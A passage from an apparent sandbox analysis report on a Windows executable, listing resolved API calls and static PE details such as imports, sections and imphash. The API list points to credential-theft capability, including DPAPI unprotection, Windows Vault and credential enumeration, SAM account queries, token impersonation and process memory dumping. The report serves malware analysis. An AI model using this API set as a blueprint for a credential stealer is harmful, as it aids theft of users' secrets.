    "urlmon.dll.ObtainUserAgentString",
    "userenv.dll.LoadUserProfileA",
    "userenv.dll.UnloadUserProfile",
    "ole32.dll.CreateStreamOnHGlobal",
    "ole32.dll.GetHGlobalFromStream",
    "ole32.dll.CoCreateGuid",
    "ole32.dll.CoTaskMemFree",
    "ole32.dll.CoCreateInstance",
    "ole32.dll.OleInitialize",
    "user32.dll.FindWindowExA",
    "user32.dll.SendMessageA",
    "user32.dll.GetClassNameA",
    "user32.dll.SendMessageW",
    "advapi32.dll.RegOpenKeyExA",
    "advapi32.dll.RegQueryValueExA",
    "advapi32.dll.RegCloseKey",
    "advapi32.dll.RegOpenKeyA",
    "advapi32.dll.RegEnumKeyExA",
    "advapi32.dll.RegCreateKeyA",
    "advapi32.dll.RegSetValueExA",
    "advapi32.dll.IsTextUnicode",
    "advapi32.dll.RegOpenCurrentUser",
    "advapi32.dll.GetUserNameA",
    "wininet.dll.InternetCreateUrlA",
    "shlwapi.dll.StrStrIA",
    "shlwapi.dll.StrRChrIA",
    "shlwapi.dll.StrToIntA",
    "shlwapi.dll.StrCmpNIA",
    "shlwapi.dll.StrStrIW",
    "shlwapi.dll.StrStrA",
    "uxtheme.dll.ThemeInitApiHook",
    "user32.dll.IsProcessDPIAware",
    "ole32.dll.StgOpenStorage",
    "crypt32.dll.CryptUnprotectData",
    "crypt32.dll.CertOpenSystemStoreA",
    "crypt32.dll.CertEnumCertificatesInStore",
    "crypt32.dll.CertCloseStore",
    "crypt32.dll.CryptAcquireCertificatePrivateKey",
    "advapi32.dll.AllocateAndInitializeSid",
    "advapi32.dll.CheckTokenMembership",
    "advapi32.dll.FreeSid",
    "advapi32.dll.CredEnumerateA",
    "advapi32.dll.CredFree",
    "advapi32.dll.CryptGetUserKey",
    "advapi32.dll.CryptExportKey",
    "advapi32.dll.RevertToSelf",
    "advapi32.dll.ImpersonateLoggedOnUser",
    "advapi32.dll.ConvertSidToStringSidA",
    "advapi32.dll.LogonUserA",
    "advapi32.dll.LookupPrivilegeValueA",
    "advapi32.dll.AdjustTokenPrivileges",
    "advapi32.dll.CreateProcessAsUserA",
    "shell32.dll.SHGetFolderPathA",
    "netapi32.dll.NetApiBufferFree",
    "netapi32.dll.NetUserEnum",
    "kernel32.dll.WTSGetActiveConsoleSessionId",
    "kernel32.dll.ProcessIdToSessionId",
    "vaultcli.dll.VaultOpenVault",
    "vaultcli.dll.VaultEnumerateItems",
    "vaultcli.dll.VaultGetItem",
    "vaultcli.dll.VaultCloseVault",
    "vaultcli.dll.VaultFree",
    "msi.dll.MsiGetComponentPathA",
    "pstorec.dll.PStoreCreateInstance",
    "userenv.dll.CreateEnvironmentBlock",
    "userenv.dll.DestroyEnvironmentBlock",
    "kernel32.dll.IsWow64Process",
    "mlang.dll.#112",
    "wininet.dll.FindFirstUrlCacheEntryA",
    "urlmon.dll.CreateUri",
    "kernel32.dll.InitializeSRWLock",
    "kernel32.dll.AcquireSRWLockExclusive",
    "kernel32.dll.AcquireSRWLockShared",
    "kernel32.dll.ReleaseSRWLockExclusive",
    "kernel32.dll.ReleaseSRWLockShared",
    "wininet.dll.FindNextUrlCacheEntryA",
    "urlmon.dll.CreateIUriBuilder",
    "urlmon.dll.IntlPercentEncodeNormalize",
    "wininet.dll.FindCloseUrlCache",
    "samlib.dll.SamConnect",
    "rpcrt4.dll.NdrClientCall2",
    "rpcrt4.dll.RpcStringBindingComposeW",
    "rpcrt4.dll.RpcBindingFromStringBindingW",
    "rpcrt4.dll.RpcStringFreeW",
    "rpcrt4.dll.RpcBindingFree",
    "samlib.dll.SamGetCompatibilityMode",
    "samlib.dll.SamOpenDomain",
    "samlib.dll.SamEnumerateDomainsInSamServer",
    "samlib.dll.SamLookupDomainInSamServer",
    "samlib.dll.SamFreeMemory",
    "samlib.dll.SamEnumerateUsersInDomain",
    "samlib.dll.SamOpenUser",
    "samlib.dll.SamQueryInformationUser",
    "samlib.dll.SamQuerySecurityObject",
    "samlib.dll.SamGetGroupsForUser",
    "samlib.dll.SamRidToSid",
    "samlib.dll.SamGetAliasMembership",
    "samlib.dll.SamCloseHandle",
    "sspicli.dll.LogonUserExExW",
    "kernel32.dll.SetThreadUILanguage",
    "kernel32.dll.CopyFileExW",
    "kernel32.dll.IsDebuggerPresent",
    "kernel32.dll.SetConsoleInputExeNameW",
    "kernel32.dll.FlsAlloc",
    "kernel32.dll.FlsGetValue",
    "kernel32.dll.FlsSetValue",
    "kernel32.dll.FlsFree",
    "kernel32.dll.VirtualProtect",
    "kernel32.dll.SetErrorMode",
    "kernel32.dll.InitializeCriticalSection",
    "kernel32.dll.DeleteCriticalSection",
    "kernel32.dll.GetCommandLineW",
    "kernel32.dll.HeapDestroy",
    "kernel32.dll.HeapCreate",
    "kernel32.dll.AddVectoredExceptionHandler",
    "kernel32.dll.RemoveVectoredExceptionHandler",
    "kernel32.dll.GetSystemDefaultUILanguage",
    "kernel32.dll.GetCurrentProcessId",
    "kernel32.dll.VerLanguageNameA",
    "kernel32.dll.lstrcpyW",
    "kernel32.dll.CreateFileMappingW",
    "kernel32.dll.GetModuleFileNameW",
    "kernel32.dll.TlsGetValue",
    "kernel32.dll.EnterCriticalSection",
    "kernel32.dll.LeaveCriticalSection",
    "kernel32.dll.TlsFree",
    "kernel32.dll.TlsSetValue",
    "kernel32.dll.CreateEventA",
    "kernel32.dll.GetLongPathNameW",
    "kernel32.dll.TlsAlloc",
    "user32.dll.wsprintfW",
    "msvcr100.dll.atexit",
    "ntdll.dll.sprintf",
    "ntdll.dll._snprintf",
    "ntdll.dll.mbstowcs",
    "ntdll.dll.strcpy",
    "ntdll.dll.ZwQueryInformationToken",
    "ntdll.dll.wcstombs",
    "ntdll.dll.ZwOpenProcessToken",
    "ntdll.dll.ZwOpenProcess",
    "ntdll.dll.ZwClose",
    "ntdll.dll._aulldiv",
    "ntdll.dll._allmul",
    "ntdll.dll.RtlUnwind",
    "ntdll.dll.NtQueryVirtualMemory",
    "kernel32.dll.InterlockedIncrement",
    "kernel32.dll.InterlockedDecrement",
    "kernel32.dll.SetEvent",
    "kernel32.dll.WaitForSingleObject",
    "kernel32.dll.SleepEx",
    "kernel32.dll.CreateWaitableTimerA",
    "kernel32.dll.GetSystemTimeAsFileTime",
    "kernel32.dll.SetWaitableTimer",
    "kernel32.dll.WaitForMultipleObjects",
    "kernel32.dll.OpenFileMappingW",
    "kernel32.dll.CompareFileTime",
    "kernel32.dll.lstrcmpW",
    "kernel32.dll.GetComputerNameW",
    "kernel32.dll.FreeLibrary",
    "kernel32.dll.QueryPerformanceFrequency",
    "kernel32.dll.QueryPerformanceCounter",
    "kernel32.dll.InterlockedExchange",
    "kernel32.dll.RaiseException",
    "kernel32.dll.Wow64EnableWow64FsRedirection",
    "kernel32.dll.GetFileTime",
    "oleaut32.dll.#2",
    "oleaut32.dll.#16",
    "oleaut32.dll.#15",
    "oleaut32.dll.#6",
    "winhttp.dll.WinHttpReceiveResponse",
    "winhttp.dll.WinHttpQueryHeaders",
    "winhttp.dll.WinHttpQueryDataAvailable",
    "winhttp.dll.WinHttpCloseHandle",
    "winhttp.dll.WinHttpReadData",
    "winhttp.dll.WinHttpOpen",
    "winhttp.dll.WinHttpOpenRequest",
    "winhttp.dll.WinHttpSetOption",
    "winhttp.dll.WinHttpConnect",
    "winhttp.dll.WinHttpQueryOption",
    "winhttp.dll.WinHttpSendRequest",
    "dnsapi.dll.DnsQuery_A",
    "dnsapi.dll.DnsFree",
    "ole32.dll.CoInitializeEx",
    "advapi32.dll.GetUserNameW",
    "shlwapi.dll.StrToIntExA",
    "shlwapi.dll.StrChrA",
    "shlwapi.dll.StrTrimA",
    "sechost.dll.LookupAccountNameLocalW",
    "advapi32.dll.LookupAccountSidW",
    "sechost.dll.LookupAccountSidLocalW",
    "wersvc.dll.ServiceMain",
    "wersvc.dll.SvchostPushServiceGlobals",
    "advapi32.dll.RegGetValueW",
    "sechost.dll.ConvertStringSecurityDescriptorToSecurityDescriptorW",
    "faultrep.dll.WerpInitiateCrashReporting",
    "wer.dll.WerpCreateMachineStore",
    "shell32.dll.SHGetFolderPathEx",
    "ole32.dll.StringFromGUID2",
    "profapi.dll.#104",
    "sechost.dll.ConvertSidToStringSidW",
    "sspicli.dll.GetUserNameExW",
    "imm32.dll.ImmDisableIME",
    "psapi.dll.GetModuleFileNameExW",
    "version.dll.GetFileVersionInfoSizeW",
    "version.dll.GetFileVersionInfoW",
    "version.dll.VerQueryValueW",
    "wer.dll.WerpCreateIntegratorReportId",
    "wer.dll.WerReportCreate",
    "wer.dll.WerpSetIntegratorReportId",
    "wer.dll.WerReportSetParameter",
    "dbgeng.dll.DebugCreate",
    "ntdll.dll.CsrGetProcessId",
    "ntdll.dll.DbgBreakPoint",
    "ntdll.dll.DbgPrint",
    "ntdll.dll.DbgPrompt",
    "ntdll.dll.DbgUiConvertStateChangeStructure",
    "ntdll.dll.DbgUiGetThreadDebugObject",
    "ntdll.dll.DbgUiIssueRemoteBreakin",
    "ntdll.dll.DbgUiSetThreadDebugObject",
    "ntdll.dll.NtAllocateVirtualMemory",
    "ntdll.dll.NtClose",
    "ntdll.dll.NtCreateDebugObject",
    "ntdll.dll.NtCreateFile",
    "ntdll.dll.NtDebugActiveProcess",
    "ntdll.dll.NtDebugContinue",
    "ntdll.dll.NtFreeVirtualMemory",
    "ntdll.dll.NtOpenProcess",
    "ntdll.dll.NtOpenThread",
    "ntdll.dll.NtQueryInformationProcess",
    "ntdll.dll.NtQueryInformationThread",
    "ntdll.dll.NtQueryMutant",
    "ntdll.dll.NtQueryObject",
    "ntdll.dll.NtQuerySystemInformation",
    "ntdll.dll.NtRemoveProcessDebug",
    "ntdll.dll.NtResumeThread",
    "ntdll.dll.NtSetInformationDebugObject",
    "ntdll.dll.NtSetInformationProcess",
    "ntdll.dll.NtSystemDebugControl",
    "ntdll.dll.NtWaitForDebugEvent",
    "ntdll.dll.RtlAnsiStringToUnicodeString",
    "ntdll.dll.RtlCreateProcessParameters",
    "ntdll.dll.RtlCreateUserProcess",
    "ntdll.dll.RtlDestroyProcessParameters",
    "ntdll.dll.RtlDosPathNameToNtPathName_U",
    "ntdll.dll.RtlFindMessage",
    "ntdll.dll.RtlFreeHeap",
    "ntdll.dll.RtlFreeUnicodeString",
    "ntdll.dll.RtlGetFunctionTableListHead",
    "ntdll.dll.RtlGetUnloadEventTrace",
    "ntdll.dll.RtlGetUnloadEventTraceEx",
    "ntdll.dll.RtlInitAnsiString",
    "ntdll.dll.RtlInitUnicodeString",
    "ntdll.dll.RtlTryEnterCriticalSection",
    "ntdll.dll.RtlUnicodeStringToAnsiString",
    "ntdll.dll.NtOpenProcessToken",
    "ntdll.dll.NtOpenThreadToken",
    "ntdll.dll.NtQueryInformationToken",
    "kernel32.dll.CloseProfileUserMapping",
    "kernel32.dll.DebugActiveProcessStop",
    "kernel32.dll.DebugBreak",
    "kernel32.dll.DebugBreakProcess",
    "kernel32.dll.DebugSetProcessKillOnExit",
    "kernel32.dll.Module32First",
    "kernel32.dll.Module32FirstW",
    "kernel32.dll.Module32Next",
    "kernel32.dll.Module32NextW",
    "kernel32.dll.OpenThread",
    "kernel32.dll.Process32FirstW",
    "kernel32.dll.Process32NextW",
    "kernel32.dll.SetProcessShutdownParameters",
    "kernel32.dll.Thread32First",
    "kernel32.dll.Thread32Next",
    "kernel32.dll.GetTimeZoneInformation",
    "kernel32.dll.DuplicateHandle",
    "kernel32.dll.Wow64GetThreadSelectorEntry",
    "advapi32.dll.CloseServiceHandle",
    "advapi32.dll.ControlService",
    "advapi32.dll.CreateServiceA",
    "advapi32.dll.CreateServiceW",
    "advapi32.dll.DeleteService",
    "advapi32.dll.EnumServicesStatusExA",
    "advapi32.dll.EnumServicesStatusExW",
    "advapi32.dll.GetEventLogInformation",
    "advapi32.dll.OpenSCManagerA",
    "advapi32.dll.OpenSCManagerW",
    "advapi32.dll.OpenServiceA",
    "advapi32.dll.OpenServiceW",
    "advapi32.dll.StartServiceA",
    "advapi32.dll.StartServiceW",
    "advapi32.dll.GetSidSubAuthority",
    "advapi32.dll.GetSidSubAuthorityCount",
    "version.dll.GetFileVersionInfoSizeExW",
    "version.dll.GetFileVersionInfoExW",
    "dbghelp.dll.WinDbgExtensionDllInit",
    "dbghelp.dll.ExtensionApiVersion",
    "wer.dll.WerpSetDynamicParameter",
    "wer.dll.WerReportAddDump",
    "wer.dll.WerpSetCallBack",
    "wer.dll.WerReportSetUIOption",
    "wer.dll.WerpAddRegisteredDataToReport",
    "wer.dll.WerReportSubmit",
    "advapi32.dll.RegOpenKeyExW",
    "user32.dll.LoadStringW",
    "advapi32.dll.RegCreateKeyExW",
    "advapi32.dll.RegSetValueExW",
    "advapi32.dll.RegQueryValueExW",
    "sensapi.dll.IsNetworkAlive",
    "rpcrt4.dll.RpcBindingSetAuthInfoExW",
    "rpcrt4.dll.NdrClientCall3",
    "user32.dll.CharUpperW",
    "wer.dll.WerpAddAppCompatData",
    "apphelp.dll.SdbGetFileAttributes",
    "apphelp.dll.SdbFormatAttribute",
    "apphelp.dll.SdbFreeFileAttributes",
    "cryptsp.dll.CryptAcquireContextW",
    "cryptsp.dll.CryptGetHashParam",
    "dbghelp.dll.MiniDumpWriteDump",
    "kernel32.dll.GetLongPathNameA",
    "kernel32.dll.GetProcessTimes",
    "powrprof.dll.CallNtPowerInformation"
]

[*] Static Analysis: {
    "pe": {
        "peid_signatures": null,
        "imports": [
            {
                "imports": [
                    {
                        "name": "GetDateFormatA",
                        "address": "0x412024"
                    },
                    {
                        "name": "GetTimeFormatA",
                        "address": "0x412028"
                    },
                    {
                        "name": "GetUserDefaultLCID",
                        "address": "0x41202c"
                    },
                    {
                        "name": "GetLocaleInfoA",
                        "address": "0x412030"
                    },
                    {
                        "name": "VirtualProtect",
                        "address": "0x412034"
                    },
                    {
                        "name": "GetStringTypeW",
                        "address": "0x412038"
                    },
                    {
                        "name": "GetStringTypeA",
                        "address": "0x41203c"
                    },
                    {
                        "name": "LCMapStringW",
                        "address": "0x412040"
                    },
                    {
                        "name": "LCMapStringA",
                        "address": "0x412044"
                    },
                    {
                        "name": "LoadLibraryA",
                        "address": "0x412048"
                    },
                    {
                        "name": "InterlockedExchange",
                        "address": "0x41204c"
                    },
                    {
                        "name": "FreeLibrary",
                        "address": "0x412050"
                    },
                    {
                        "name": "GetConsoleOutputCP",
                        "address": "0x412054"
                    },
                    {
                        "name": "WriteConsoleA",
                        "address": "0x412058"
                    },
                    {
                        "name": "SetStdHandle",
                        "address": "0x41205c"
                    },
                    {
                        "name": "InitializeCriticalSectionAndSpinCount",
                        "address": "0x412060"
                    },
                    {
                        "name": "CloseHandle",
                        "address": "0x412064"
                    },
                    {
                        "name": "CreateFileW",
                        "address": "0x412068"
                    },
                    {
                        "name": "GetLastError",
                        "address": "0x41206c"
                    },
                    {
                        "name": "ReadFile",
                        "address": "0x412070"
                    },
                    {
                        "name": "WriteFile",
                        "address": "0x412074"
                    },
                    {
                        "name": "SetFilePointer",
                        "address": "0x412078"
                    },
                    {
                        "name": "WideCharToMultiByte",
                        "address": "0x41207c"
                    },
                    {
                        "name": "lstrlenW",
                        "address": "0x412080"
                    },
                    {
                        "name": "GetFileSize",
                        "address": "0x412084"
                    },
                    {
                        "name": "MapViewOfFile",
                        "address": "0x412088"
                    },
                    {
                        "name": "CreateFileMappingW",
                        "address": "0x41208c"
                    },
                    {
                        "name": "DeleteFileW",
                        "address": "0x412090"
                    },
                    {
                        "name": "UnmapViewOfFile",
                        "address": "0x412094"
                    },
                    {
                        "name": "FileTimeToDosDateTime",
                        "address": "0x412098"
                    },
                    {
                        "name": "MultiByteToWideChar",
                        "address": "0x41209c"
                    },
                    {
                        "name": "SetEvent",
                        "address": "0x4120a0"
                    },
                    {
                        "name": "ResumeThread",
                        "address": "0x4120a4"
                    },
                    {
                        "name": "WaitForSingleObject",
                        "address": "0x4120a8"
                    },
                    {
                        "name": "SuspendThread",
                        "address": "0x4120ac"
                    },
                    {
                        "name": "ResetEvent",
                        "address": "0x4120b0"
                    },
                    {
                        "name": "CreateThread",
                        "address": "0x4120b4"
                    },
                    {
                        "name": "Sleep",
                        "address": "0x4120b8"
                    },
                    {
                        "name": "GlobalUnlock",
                        "address": "0x4120bc"
                    },
                    {
                        "name": "GlobalLock",
                        "address": "0x4120c0"
                    },
                    {
                        "name": "GlobalAlloc",
                        "address": "0x4120c4"
                    },
                    {
                        "name": "EnumSystemLocalesA",
                        "address": "0x4120c8"
                    },
                    {
                        "name": "SizeofResource",
                        "address": "0x4120cc"
                    },
                    {
                        "name": "GetSystemDefaultLangID",
                        "address": "0x4120d0"
                    },
                    {
                        "name": "FindResourceW",
                        "address": "0x4120d4"
                    },
                    {
                        "name": "lstrlenA",
                        "address": "0x4120d8"
                    },
                    {
                        "name": "lstrcatW",
                        "address": "0x4120dc"
                    },
                    {
                        "name": "GetTempPathW",
                        "address": "0x4120e0"
                    },
                    {
                        "name": "CreateEventW",
                        "address": "0x4120e4"
                    },
                    {
                        "name": "FindClose",
                        "address": "0x4120e8"
                    },
                    {
                        "name": "FindFirstFileW",
                        "address": "0x4120ec"
                    },
                    {
                        "name": "GetCommandLineW",
                        "address": "0x4120f0"
                    },
                    {
                        "name": "FileTimeToLocalFileTime",
                        "address": "0x4120f4"
                    },
                    {
                        "name": "CreateFileA",
                        "address": "0x4120f8"
                    },
                    {
                        "name": "GetCurrentProcessId",
                        "address": "0x4120fc"
                    },
                    {
                        "name": "GetTickCount",
                        "address": "0x412100"
                    },
                    {
                        "name": "QueryPerformanceCounter",
                        "address": "0x412104"
                    },
                    {
                        "name": "GetEnvironmentStringsW",
                        "address": "0x412108"
                    },
                    {
                        "name": "FreeEnvironmentStringsW",
                        "address": "0x41210c"
                    },
                    {
                        "name": "GetEnvironmentStrings",
                        "address": "0x412110"
                    },
                    {
                        "name": "FreeEnvironmentStringsA",
                        "address": "0x412114"
                    },
                    {
                        "name": "HeapSize",
                        "address": "0x412118"
                    },
                    {
                        "name": "GetModuleHandleA",
                        "address": "0x41211c"
                    },
                    {
                        "name": "IsValidCodePage",
                        "address": "0x412120"
                    },
                    {
                        "name": "GetOEMCP",
                        "address": "0x412124"
                    },
                    {
                        "name": "GetACP",
                        "address": "0x412128"
                    },
                    {
                        "name": "GetCPInfo",
                        "address": "0x41212c"
                    },
                    {
                        "name": "GetCurrentThread",
                        "address": "0x412130"
                    },
                    {
                        "name": "InterlockedDecrement",
                        "address": "0x412134"
                    },
                    {
                        "name": "GetCurrentThreadId",
                        "address": "0x412138"
                    },
                    {
                        "name": "SetLastError",
                        "address": "0x41213c"
                    },
                    {
                        "name": "InterlockedIncrement",
                        "address": "0x412140"
                    },
                    {
                        "name": "TlsFree",
                        "address": "0x412144"
                    },
                    {
                        "name": "WriteConsoleW",
                        "address": "0x412148"
                    },
                    {
                        "name": "TlsSetValue",
                        "address": "0x41214c"
                    },
                    {
                        "name": "TlsAlloc",
                        "address": "0x412150"
                    },
                    {
                        "name": "TlsGetValue",
                        "address": "0x412154"
                    },
                    {
                        "name": "GetModuleFileNameA",
                        "address": "0x412158"
                    },
                    {
                        "name": "ExitProcess",
                        "address": "0x41215c"
                    },
                    {
                        "name": "GetProcAddress",
                        "address": "0x412160"
                    },
                    {
                        "name": "GetModuleHandleW",
                        "address": "0x412164"
                    },
                    {
                        "name": "HeapDestroy",
                        "address": "0x412168"
                    },
                    {
                        "name": "HeapCreate",
                        "address": "0x41216c"
                    },
                    {
                        "name": "HeapReAlloc",
                        "address": "0x412170"
                    },
                    {
                        "name": "VirtualAlloc",
                        "address": "0x412174"
                    },
                    {
                        "name": "IsValidLocale",
                        "address": "0x412178"
                    },
                    {
                        "name": "SetEndOfFile",
                        "address": "0x41217c"
                    },
                    {
                        "name": "GetProcessHeap",
                        "address": "0x412180"
                    },
                    {
                        "name": "GetLocaleInfoW",
                        "address": "0x412184"
                    },
                    {
                        "name": "GetTimeZoneInformation",
                        "address": "0x412188"
                    },
                    {
                        "name": "CompareStringA",
                        "address": "0x41218c"
                    },
                    {
                        "name": "CompareStringW",
                        "address": "0x412190"
                    },
                    {
                        "name": "LoadResource",
                        "address": "0x412194"
                    },
                    {
                        "name": "SetEnvironmentVariableA",
                        "address": "0x412198"
                    },
                    {
                        "name": "SetConsoleCtrlHandler",
                        "address": "0x41219c"
                    },
                    {
                        "name": "FlushFileBuffers",
                        "address": "0x4121a0"
                    },
                    {
                        "name": "VirtualFree",
                        "address": "0x4121a4"
                    },
                    {
                        "name": "FatalAppExitA",
                        "address": "0x4121a8"
                    },
                    {
                        "name": "DeleteCriticalSection",
                        "address": "0x4121ac"
                    },
                    {
                        "name": "HeapAlloc",
                        "address": "0x4121b0"
                    },
                    {
                        "name": "HeapFree",
                        "address": "0x4121b4"
                    },
                    {
                        "name": "RaiseException",
                        "address": "0x4121b8"
                    },
                    {
                        "name": "RtlUnwind",
                        "address": "0x4121bc"
                    },
                    {
                        "name": "GlobalAddAtomW",
                        "address": "0x4121c0"
                    },
                    {
                        "name": "GetSystemTimeAsFileTime",
                        "address": "0x4121c4"
                    },
                    {
                        "name": "GetCommandLineA",
                        "address": "0x4121c8"
                    },
                    {
                        "name": "GetStartupInfoA",
                        "address": "0x4121cc"
                    },
                    {
                        "name": "EnterCriticalSection",
                        "address": "0x4121d0"
                    },
                    {
                        "name": "LeaveCriticalSection",
                        "address": "0x4121d4"
                    },
                    {
                        "name": "TerminateProcess",
                        "address": "0x4121d8"
                    },
                    {
                        "name": "GetCurrentProcess",
                        "address": "0x4121dc"
                    },
                    {
                        "name": "UnhandledExceptionFilter",
                        "address": "0x4121e0"
                    },
                    {
                        "name": "SetUnhandledExceptionFilter",
                        "address": "0x4121e4"
                    },
                    {
                        "name": "IsDebuggerPresent",
                        "address": "0x4121e8"
                    },
                    {
                        "name": "GetConsoleCP",
                        "address": "0x4121ec"
                    },
                    {
                        "name": "GetConsoleMode",
                        "address": "0x4121f0"
                    },
                    {
                        "name": "SetHandleCount",
                        "address": "0x4121f4"
                    },
                    {
                        "name": "GetStdHandle",
                        "address": "0x4121f8"
                    },
                    {
                        "name": "GetFileType",
                        "address": "0x4121fc"
                    }
                ],
                "dll": "KERNEL32.dll"
            },
            {
                "imports": [
                    {
                        "name": "DialogBoxParamW",
                        "address": "0x412204"
                    },
                    {
                        "name": "GetSysColor",
                        "address": "0x412208"
                    },
                    {
                        "name": "EnableWindow",
                        "address": "0x41220c"
                    },
                    {
                        "name": "SendMessageA",
                        "address": "0x412210"
                    },
                    {
                        "name": "LoadIconW",
                        "address": "0x412214"
                    },
                    {
                        "name": "wsprintfW",
                        "address": "0x412218"
                    },
                    {
                        "name": "GetDC",
                        "address": "0x41221c"
                    },
                    {
                        "name": "SetRect",
                        "address": "0x412220"
                    },
                    {
                        "name": "ValidateRect",
                        "address": "0x412224"
                    },
                    {
                        "name": "GetWindowLongW",
                        "address": "0x412228"
                    },
                    {
                        "name": "SetWindowLongW",
                        "address": "0x41222c"
                    },
                    {
                        "name": "SetWindowTextW",
                        "address": "0x412230"
                    },
                    {
                        "name": "ReleaseDC",
                        "address": "0x412234"
                    },
                    {
                        "name": "SetDlgItemTextW",
                        "address": "0x412238"
                    },
                    {
                        "name": "IsWindow",
                        "address": "0x41223c"
                    },
                    {
                        "name": "GetWindowRect",
                        "address": "0x412240"
                    },
                    {
                        "name": "SetWindowPos",
                        "address": "0x412244"
                    },
                    {
                        "name": "GetDlgItem",
                        "address": "0x412248"
                    },
                    {
                        "name": "SendMessageW",
                        "address": "0x41224c"
                    },
                    {
                        "name": "PostMessageW",
                        "address": "0x412250"
                    },
                    {
                        "name": "InvalidateRect",
                        "address": "0x412254"
                    },
                    {
                        "name": "ShowWindow",
                        "address": "0x412258"
                    },
                    {
                        "name": "EndDialog",
                        "address": "0x41225c"
                    },
                    {
                        "name": "LoadCursorW",
                        "address": "0x412260"
                    },
                    {
                        "name": "SetCursor",
                        "address": "0x412264"
                    },
                    {
                        "name": "CallWindowProcW",
                        "address": "0x412268"
                    },
                    {
                        "name": "MessageBoxW",
                        "address": "0x41226c"
                    },
                    {
                        "name": "GetClientRect",
                        "address": "0x412270"
                    },
                    {
                        "name": "GetWindowTextW",
                        "address": "0x412274"
                    },
                    {
                        "name": "LockWindowUpdate",
                        "address": "0x412278"
                    },
                    {
                        "name": "ScreenToClient",
                        "address": "0x41227c"
                    }
                ],
                "dll": "USER32.dll"
            },
            {
                "imports": [
                    {
                        "name": "GetDeviceCaps",
                        "address": "0x412000"
                    },
                    {
                        "name": "GetObjectW",
                        "address": "0x412004"
                    },
                    {
                        "name": "CreateSolidBrush",
                        "address": "0x412008"
                    },
                    {
                        "name": "SelectObject",
                        "address": "0x41200c"
                    },
                    {
                        "name": "SetTextColor",
                        "address": "0x412010"
                    },
                    {
                        "name": "GetStockObject",
                        "address": "0x412014"
                    },
                    {
                        "name": "CreateFontIndirectW",
                        "address": "0x412018"
                    },
                    {
                        "name": "SetBkMode",
                        "address": "0x41201c"
                    }
                ],
                "dll": "GDI32.dll"
            }
        ],
        "digital_signers": null,
        "exported_dll_name": null,
        "actual_checksum": "0x00026cd5",
        "overlay": null,
        "imagebase": "0x00400000",
        "reported_checksum": "0x00026cd5",
        "icon_hash": null,
        "entrypoint": "0x0040a7af",
        "timestamp": "2019-04-23 05:10:14",
        "osversion": "4.0",
        "sections": [
            {
                "name": ".text",
                "characteristics": "IMAGE_SCN_CNT_CODE|IMAGE_SCN_MEM_EXECUTE|IMAGE_SCN_MEM_READ",
                "virtual_address": "0x00001000",
                "size_of_data": "0x00010e00",
                "entropy": "5.14",
                "raw_address": "0x00000400",
                "virtual_size": "0x00010c90",
                "characteristics_raw": "0x60000020"
            },
            {
                "name": ".rdata",
                "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ",
                "virtual_address": "0x00012000",
                "size_of_data": "0x00001400",
                "entropy": "4.68",
                "raw_address": "0x00011200",
                "virtual_size": "0x000013ee",
                "characteristics_raw": "0x40000040"
            },
            {
                "name": ".data",
                "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_WRITE",
                "virtual_address": "0x00014000",
                "size_of_data": "0x00003c00",
                "entropy": "1.07",
                "raw_address": "0x00012600",
                "virtual_size": "0x00006cc0",
                "characteristics_raw": "0xc0000040"
            },
            {
                "name": ".rsrc",
                "characteristics": "IMAGE_SCN_CNT_INITIALIZED_DATA|IMAGE_SCN_MEM_READ",
                "virtual_address": "0x0001b000",
                "size_of_data": "0x00002000",
                "entropy": "5.21",
                "raw_address": "0x00016200",
                "virtual_size": "0x00002000",
                "characteristics_raw": "0x40000040"
            }
        ],
        "resources": [],
        "dirents": [
            {
                "virtual_address": "0x00002f10",
                "name": "IMAGE_DIRECTORY_ENTRY_EXPORT",
                "size": "0x0000049c"
            },
            {
                "virtual_address": "0x00012640",
                "name": "IMAGE_DIRECTORY_ENTRY_IMPORT",
                "size": "0x00000050"
            },
            {
                "virtual_address": "0x0001b000",
                "name": "IMAGE_DIRECTORY_ENTRY_RESOURCE",
                "size": "0x00001328"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_EXCEPTION",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_SECURITY",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_BASERELOC",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_DEBUG",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_COPYRIGHT",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_GLOBALPTR",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_TLS",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_IAT",
                "size": "0x00000284"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR",
                "size": "0x00000000"
            },
            {
                "virtual_address": "0x00000000",
                "name": "IMAGE_DIRECTORY_ENTRY_RESERVED",
                "size": "0x00000000"
            }
        ],
        "exports": [],
        "guest_signers": {},
        "imphash": "066917207e1298837dffe54f19e5875a",
        "icon_fuzzy": null,
        "icon": null,
        "pdbpath": null,
        "imported_dll_count": 3,
        "versioninfo": []
    }
}